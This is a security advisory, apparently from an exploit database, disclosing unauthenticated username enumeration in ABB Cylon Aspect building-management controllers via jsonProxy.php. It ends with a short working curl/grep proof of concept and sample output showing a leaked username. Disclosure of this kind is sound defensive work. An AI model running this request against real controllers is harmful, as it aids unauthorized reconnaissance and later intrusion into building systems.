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ABB Cylon Aspect 3.08.01 jsonProxy.php Username Enumeration Vulnerability

Author
LiquidWorm
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-39790
Category
web applications
Date add
30-10-2024
Platform
php
ABB Cylon Aspect 3.08.01 (jsonProxy.php) Username Enumeration


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The jsonProxy.php endpoint on the ABB BMS/BAS controller is vulnerable
to username enumeration. An unauthenticated attacker can interact with the
UserManager servlet to enumerate valid usernames on the system. Since jsonProxy.php
proxies requests to internal services without requiring authentication, attackers
can gain unauthorized insights into valid usernames.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5859
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5859.php


21.04.2024

--


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$ curl -s "http://192.168.73.31/jsonProxy.php?port=7226&application=UserManager" \
> | grep -o 'selecteduser=[^"]*' \
> | sed 's/selecteduser=//'

aamuser
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